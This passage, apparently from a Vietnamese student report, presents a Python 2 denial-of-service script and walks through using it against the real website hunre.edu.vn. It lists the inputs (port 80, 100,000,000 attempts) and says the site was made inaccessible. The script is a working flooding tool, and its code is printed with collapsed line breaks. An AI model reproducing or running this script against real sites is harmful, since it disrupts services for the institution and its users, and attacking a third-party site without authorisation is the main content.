Bước 1: Xây dựng chương trình thực hiện tấn công DoS bằng ngôn ngữ Python và
thực hiện tấn công vào địa chỉ trang website: hunre.edu.vn sau:
Hình 3.4: Giao diện trang website trước khi bị tấn công
Với chương trình được viết sau:
#Khai báo thư viện
import time import socket import os
import sys import string #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~# #Hàm khởi động chương trình def restart_program(): python = sys.executable
os.execl(python, python, * sys.argv) curdir = os.getcwd()
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~#
print (" CHUONG TRINH TAN CONG DDOS") print (" Tac gia: Nguyen Thi Thai ")
print (" ")
# Nội dung yêu cầu nhập
host=raw_input( "+ Nhap website can tan cong DoS:" ) port=input( "+ Cong(Port)muon thuc hien tan cong DoS:" ) message=raw_input( "+ Noi dung muon gui thong bao:" ) conn=input( "+ Cho phep so lan tan cong:" )
#Lấy địa chỉ IP để thực hiện tấn công
ip = socket.gethostbyname( host )
print ("[" + ip + "]")
print ( "[Ip da duoc khoa]" )
print ( "[Dang tan cong " + host + "]" ) print ("+---+") def dos():
dos = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try:
dos.connect((host, 80)) dos.send( message )
dos.sendto( message, (ip, port) ) dos.send( message );
except socket.error, msg:
print("|[Ket noi bi loi...] |")
print ( "|[Dang thuc hien tan cong DoS...] |") dos.close()
# Duyệt số lần thực hiện tấn công
for i in range(1, conn):
dos()
print ("+---+")print("Tan cong da duoc hoan thanh!")
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~#
Bước 2: Chạy chương trình viết trên, kết quả xuất hiện các yêu cầu cần nhập vào
như:
Bảng 3.2: Bảng dữ liệu đầu vào thực hiện tấn công DoS
Nội dung yêu cầu Dữ liệu giả định
+ Nhập website cần tấn công DDoS: http://hunre.edu.vn
+ Cổng (port) muốn thực hiện tấn công DoS: 80
+ Nội dung muốn gửi thông báo: Xin thu mot lan cho biet….
+ Cho phép số lần tấn công: 100000000
Hình 3.5: Giao diện chương trình đang thực hiện tấn công DoS
Sau khi nhập đủ các thông tin theo yêu cầu, chương trình sẽ tự động thực hiện tấn công đến đối tượng đã chỉ định. Kết quả sau một thời gian trang web đã bị tê liệt hoặc làm gián đoạn không hoạt động, Hình 3.4 dưới đây cho thấy trang web có địa chỉ https://www.hunre.edu.vn đã bị từ chối truy cập:
Bước 3: Truy cập trình duyệt để kiểm tra trạng thái của trang web bị tấn công DoS:
Hình 3.6: Giao diện trang web bị tấn công DoS và không thể truy cập được